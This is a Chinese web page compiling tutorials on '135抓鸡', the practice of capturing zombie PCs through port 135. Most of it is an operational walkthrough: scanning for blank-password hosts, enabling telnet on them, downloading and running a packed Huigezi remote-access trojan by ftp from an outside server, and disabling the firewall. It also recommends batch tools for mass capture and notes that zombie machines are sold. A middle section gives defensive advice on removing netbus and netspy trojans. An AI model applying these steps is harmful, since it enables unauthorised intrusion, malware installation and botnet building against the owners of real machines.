这篇文章给大家聊聊关于135抓鸡工具，以及抓鸡用什么工具对应的知识点，希望对各位有所帮助，不要忘了收藏本站哦。
本文目录
135抓鸡教程详细
超详细135端口抓鸡
用到的工具：
1：ssport端口扫描器
2：Recton--D贺免杀专用版
3：NTscan扫描器
4:黑防版灰鸽子
5：UPX压缩和解压器(简单加下壳）
首先我们要用ssport扫开放 135端口的电脑，然后再用NTscan扫空口令的
这些我已经扫好了，相信大家都应该扫的来
我们就随便找个IP吧，就找 218.87.53.61
现在用
Recton--D来开它的telnet
有点卡，大家耐心等下吧，不晓得这个网吧网速怎么这么慢！
这个IP不行，我们换个，换成 218.87.51.251
正在连接 218.87.51.251......
连接成功！
正在检查Telnet服务状态......
Telnet服务已被禁止！
正在改变启动类型为 Manual（手动）......
正在改变服务状态......
正在设置 NTLM=0......
正在设置端口=23......
Telnet服务已经成功打开！端口:23.]
呵呵，已经成功打开了23端口，现在我们来配置下我们的鸽子
由于这个网吧的路由我还没拿到，所以鸽子上线我用映射9999端口的
这个教程我已经做过了，如果不懂的可以去找，
恩，打开远程映射端口成功，可以上线，现在我们来配置下我们的鸽子
给我们的鸽子随便加下壳，运气好可以免杀
比较好的免杀我现在就不做了，没时间，呵呵，具体我以后会在教程里发布的
已经加壳了，现在我们把鸽子丢到我们的空间上去，已经上去了
现在就该到肉鸡上去下鸽子了
用户名是：administrator
密码为空
有点卡，呵呵
好，进去了，刚刚有人中了我的网马，呵呵]
现在我们来下我们的鸽子
用到的命令是 ftp
o
to 219.147.204.240
用户名
密码
然后进去后，get你的马，我的就是 get 2.exe
具体看我操作
输入密码的时候，是看不到你输入的，呵呵
好了下载好了，看到马了没
现在我们来运行它，如果不行的话，那可能就要关掉对方的防火墙
命令是 net stop sharedaccess
好了，木马已经运行了
我们去看下它有没有上线
好，已经上线了，IP地址主要是因为我是映射鸽子上线的，所以IP不显示
公网IP，我们来扑捉下屏幕
晕，不晓得为什么扑捉不到屏幕，呵呵，反正已经上线了，任务完成
135端口扫描不到
安装第三方防火墙和杀毒软件
黑客是基于TCP/IP协议通过某个端口进入你的个人电脑的。如果你的电脑设置了共享目录，那么黑客就可以通过139端口进入你的电脑，注意！WINDOWS有个缺陷，就算你的共享目录设置了多少长的密码，几秒钟时间就可以进入你的电脑，所以，你最好不要设置共享目录，不允许别人浏览你的电脑上的资料。除了139端口以外，如果没有别的端口是开放的，黑客就不能入侵你的个人电脑。那么黑客是怎么样才会进到你的电脑中来的呢？答案是通过特洛伊木马进入你的电脑。如果你不小心运行了特洛伊木马，你的电脑的某个端口就会开放，黑客就通过这个端口进入你的电脑。举个例子，有一种典型的木马软件，叫做netspy.exe。如果你不小心运行了netspy.exe，那么它就会告诉WINDOWS，以后每次开电脑的时候都要运行它，然后，netspy.exe又在你的电脑上开了一扇“门”，“门”的编号是7306端口，如果黑客知道你的7306端口是开放的话，就可以用软件偷偷进入到你的电脑中来了。特洛伊木马本身就是为了入侵个人电脑而做的，藏在电脑中和工作的时候是很隐蔽的，它的运行和黑客的入侵，不会在电脑的屏幕上显示出任何痕迹。WINDOWS本身没有监视网络的软件，所以不借助软件，是不知道特洛伊木马的存在和黑客的入侵。接下来，就来说利用软件如何发现自己电脑中的木马.
如何发现自己电脑中的木马
再以netspy.exe为例，现在知道netspy.exe打开了电脑的7306端口，要想知道自己的电脑是不是中netspy.exe，只要敲敲7306这扇“门”就可以了。你先打开C:\WINDOWS\WINIPCFG.EXE程序，找到自己的IP地址（比如你的IP地址是10.10.10.10），然后打开浏览器，在浏览器的地址栏中输入 http://10.10.10.10:7306/，如果浏...��查找木马.
进一步查找木马
让我们做一个试验：netspy.exe开放的是7306端口，用工具把它的端口修改了，经过修改的木马开放的是7777端口了，现在再用老办法是找不到netspy.exe木马了。我们可以用扫描自己的电脑的办法看看电脑有多少端口开放着，并且再分析这些开放的端口。
前面讲了电脑的端口是从0到65535为止，其中139端口是正常的，首先找个端口扫描器，推荐“代理猎手”，你上网以后，找到自己的IP地址，现在请关闭正在运行的网络软件，因为可能开放的端口会被误认为是木马的端口，然后让代理猎手对0到65535端口扫描，如果除了139端口以外还有其他的端口开放，那么很可能是木马造成的。
排除了139端口以外的端口，你可以进一步分析了，用浏览器进入这个端口看看，它会做出什么样的反映，你可以根据情况再判断了。
扫描这么多端口是不是很累，需要半个多小时，Tcpview.exe可以看电脑有什么端口是开放的，除了139端口以外，还有别的端口开放，你就可以分析了，如果判定自己的电脑中了木马，那么，你就得在硬盘上删除木马.
在硬盘上删除木马
最简单的办法当然是用杀毒软件删除木马了，Netvrv病毒防护墙可以帮你删除netspy.exe和bo.exe木马，但是不能删除netbus木马。
下面就netbus木马为例讲讲删除的经过。
简单介绍一下netbus木马，netbus木马的客户端有两种，开放的都是12345端口，一种以Mring.exe为代表（472,576字节），一种以SysEdit.exe为代表（494,592字节）。
Mring.exe一旦被运行以后，Mring.exe就告诉WINDOWS，每次启动就将它运行，WINDOWS将它放在了注册表中，你可以打开C:\WINDOWS\REGEDIT.EXE进入HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run找到Mring.exe然后删除这个健值，你再到WINDOWS中找到Mring.exe删除。注意了，Mring.exe可能会被黑客改变名字，字节长度也被改变了，但是在注册表中的位置不会改变，你可以到注册表的这个位置去找。
另外，你可以找包含有“netbus”字符的可执行文件，再看字节的长度，我查过了，WINDOWS和其他的一些应用软件没有包含“netbus”字符的，被你找到的文件多半就是Mring.exe的变种。
SysEdit.exe被运行以后，并不加到WINDOWS的注册表中，也不会自动挂到其他程序中，于是有人认为这是无害的木马，其实这是最可恶、最阴险的木马。别的木马被加到了注册表中，你就有痕迹可查了，就连专家们认为最凶恶的BO木马也可以轻而易举地被我们从注册表中删除。
而SysEdit.exe要是挂在其他的软件中，只要你不碰这个软件，SysEdit.exe也就不发作，一旦运行了被安装SysEdit.exe的程序，SysEdit.exe也同时启动了。我们再来作做这样一个实验，将SysEdit.exe和C:\WINDOWS\SYSTEM\Abcwin.exe捆绑起来，Abcwin.exe是智能ABC输入法，当我开启电脑到上网，只要没有打开智能ABC输入法打字聊天，SysEdit.exe也就没有被运行，你就不能进入我的12345端口，如果我什么时候想打字了，一旦启动智能ABC输入法（Abcwin.exe），那么捆绑在Abcwin.exe上的SysEdit.exe也同时被运行了，我的12345端口被打开，别人就可以黑到我的电脑中来了。同样道理，SysEdit.exe可以被捆绑到网络传呼机、信箱工具等网络工具上，甚至可以捆绑到拨号工具上，电脑中的几百的程序中，你知道会在什么地方发现它吗？所以我说这是最最阴险的木马，让人防不胜防。
有的时候知道自己中了netbus木马，特别是SysEdit.exe，能发现12345端口被开放，并且可以用netbus客户端软件进入自己的电脑，却不知道木马在什么地方。这时候，你可以检视内存，请打开C:\WINDOWS\DRWATSON.EXE，然后对内存拍照，查看“高级视图”中的“任务”标签，“程序”栏中列出的就是正在运行的程序，要是发现可疑的程序，再看“路径”栏，找到这个程序，分析它，你就知道是不是木马了。SysEdit.exe虽然可以隐藏在其他的程序后面，但是在C:\WINDOWS\DRWATSON.EXE中还是暴露了。
好了，来回顾一下，要知道自己的电脑中有没有木马，只要看看有没有可疑端口被开放，用代理猎手、Tcpview.exe都可以知道。要查找木马，一是可以到注册表的指定位置去找，二是可以查找包含相应的可执行程序，比如，被开放的端口是7306，就找包含“netspy”的可执行程序，三是检视内存，看有没有可以的程序在内存中。
你的电脑上的木马，来源有两种，一种是你自己不小心，运行了包含有木马的程序，另一种情况是，“网友”送给你“好玩”的程序。所以，你以后要小心了，要弄清楚了是什么程序再运行，安装容易排除难呀。?nbsp;
排除了木马以后，你就可以监视端口，----悄悄等待黑客的来临.
怎么抓鸡“
“抓鸡”是黑客界的一种流行语言.这里所说的"鸡",是指"电脑肉鸡".
这就是指拥有管理权限的远程电脑。也就是受别人控制的远程电脑(傀儡电脑)。"肉鸡"可以是各种系统,如2003,2000,xp,win7,linux,unix等；更可以是一家公司\企业\学校甚至是政府军队的服务器
黑客们经常用80,135,445,1433,1521,3306,3389之类的端口来抓鸡。
肉鸡一般被黑客以0.08、0.1元到30元不等价格出售。
说到肉鸡，就要讲到远程控制。远程控制软件例如灰鸽子、上兴、凤凰ABC、ghost、白金等等。
肉鸡不是吃的那种，是中了木马，或者留了后门，可以被远程操控的机器，现在许多人把有WEBSHELL权限的机器也叫肉鸡。
谁都不希望自己的电脑被他人控制，但是很多人的电脑是几乎不设防的，很容易被远程攻击者完全控制。你的电脑就因此成为别人砧板上的肉，别人想怎么吃就怎么吃，肉鸡(机)一名由此而来。
通常情况下跟电脑网络连接的端口都存在有弱口令，这样就给黑客有可趁之机，通过工具扫描利用相应工具破解入侵这样你就成为黑客手中的“肉鸡”
他们这样的方式也就称之为“抓鸡”
135抓鸡教程
最近135抓鸡很火热啊，会抓而且能抓的人一天就可以抓数百只甚至千只，而不会也没条件抓的呢一只都抓不到，当然这其中是有很多原因的，想利用135抓鸡成功的话必须要掌握细节！总体来说，135抓鸡的流程就是：扫开放135端口的IP-----过滤这些IP中的空口令IP-----最后利用这些空口令IP进行传马，就这么简单，但是却很多人不成功，其实我相信大家都会的，只是由于某方面的限制而不能成功的，比如自己电脑的原因：1.XP打了线程补丁没？一般设置为3000以上；自己电脑的一些服务开放了没？比如扫135必须要开放的TCP/IP NetBIOS Helper Remote Procedure Call(RPC) Locator NT LM Security Support Provide这几个服务；2.还有一个原因就是找找自己的电脑开放了共享没有？在DOS下输入net share看看自己电脑的共享情况，一般来说要开放ADMIN$...在这里呢，很多朋友说自己输入这个命令后却发现出现错误，没有共享的东西！这里我也遇到过，主要是由于自己的电脑做过某些优化而已！解决办法是打开电脑的SERVER服务，但是问题又来了，有些人会发现自己的电脑没有这个服务！怎么办？我告诉大家是网络邻居里的问题，解决办法如下：网上邻居----本地连接-----属性--看到安装的协议框里有没有“Microslft网络的文件和打印机共享”这个项目，如果没有就点下面的安装选项里进行安装，安装完了就会发现服务里多了SERVER一项了，呵呵，启动它就可以了！
-----------------------以上是电脑的要求
现在呢，大家按我的方法做好的电脑本身的要求外，又会发现，还是扫不了啊？原因我想大家都知道了，就是电信屏蔽了135端口，所以我们在本机扫135是扫不到的！很多人又问，我用代理可以吗？我的回答是：“最好别用，因为普通的SOCKET5代理扫出来很多都是假的，就像前段时间很多黑网出的一个用easy2game代理扫端口的教程，一扫就一大片，后面经过很多人的验证包括我也亲自验证了，发现扫出来的都是假的！！所以大家最好别去用！接下来呢，还有什么方法呢？找台可以扫135的服务器来扫对吧，我也用过，虽然还不错，但是对于大多数人来说不太适用，因为这样的肉鸡很难找！所以我还是推荐用VPN！然后又有很多问了，我用VPN扫可以扫出开放135的IP，但是过滤却一个也出不来？为什么呢？其实我原来也经常遇到过这样的情况，用VPN可以正常扫出135，但是用NTSCAN过滤空口令的时候最多出来几个子，我也一度曾想放弃VPN这个方法，但是后来的实验告诉我，VPN是有用的，而且绝对有用的！关键的问题是你连接这个VPN的速度！！加入你的电脑连接这个VPN的速度过慢，那是肯定扫不出来，因为这样的话，网络的迟缓非常严重，数据到不了自己电脑的！像很多人用的”Hotspot Shield Launch“这个软件，我在很多肉鸡上实验过，连接速度都是非常慢的！！扫不出什么肉鸡，而我每次只要使用连接速度快的VPN就能扫出很多的肉鸡，一般我所说的连接快的VPN呢，是指从开始连接到连接成功，时间应该不超过6秒钟~待会儿我会给大家提供一个香港的VPN的，呵呵！~
现在开始讲扫135的工具了，欲善其事，必先利其器！所以一个好用的工具也是非常重要的！接下来我就讲几个比较完善好用的工具，像蜜蜂2.0之类的垃圾软件我就不多说了!
加入不讲效率的话，一般人用的最多的组合是“S扫描器+NTSCAN+RECTON”，很简单，但是也很麻烦，只能单个单个的传马，速度很慢！这套工具我就不多说了，大家应该都会，主要就是说下，就是用NTSCAN过滤完了弱口令后，使用RECTON传马的时候也要在VPN连接的状态下，要不然不能成功连上肉鸡！
下一个工具呢，就说批量135脚本吧吧！其实关于脚本135应该有2套工具：一种是用NTSCAN扫玩了弱口令后，用批量溢出工具加上一个135批量溢出的批处理结合使用！-还有一种就是完全的批处理程序了，包括扫描135端口，过滤弱口令，传马，都在批处理里完成的，代表就是“自动抓鸡飘渺开源版”，只要输入IP就能全自动的抓鸡了，不过有个缺点，考虑弱口令的时候会有很多DOS窗口弹出来，速度呢，还算可以吧！！所以也建议大家使用！~
再下一个工具呢，当然就是WMI.EXE了，我本人现在也在使用这个工具，优点是：方便，速度快！缺点是：“要自己修改源程序代码，也就是那个3322的域名了，然后自己建了FTP就可以了，呵呵，挺方便的！
具体的工具就是这些了，这些工具的使用方法网上搜索下就可以了，很多额，也很简单的!
如果大家觉得好的话呢，就帮我踩下空间！还有大家有什么问题的话，可以留言，QQ112898881我会尽快回答的！呵呵
参考资料：f
求黑旋VIP135自动抓鸡工具
楼主现在很少有人用这个工具抓鸡了，我前几天听说有的人用狼牙抓鸡没天晚上抓1万左右我不知道是不是真的你说的黑旋我也下了但是我没用还要修改鸽子地址我觉得麻烦，我昨天下了个狼牙，也是全自动抓鸡的，我是在自己的电脑上架设的WED服务器把鸽子上传上去的可能是我的服务器不行或者是我哪弄错了我也没他仔细研究不如我们一起研究这方面的东西吧好吗
要是行的话+370504064注明鸽子
关于135抓鸡工具的内容到此结束，希望对大家有所帮助。
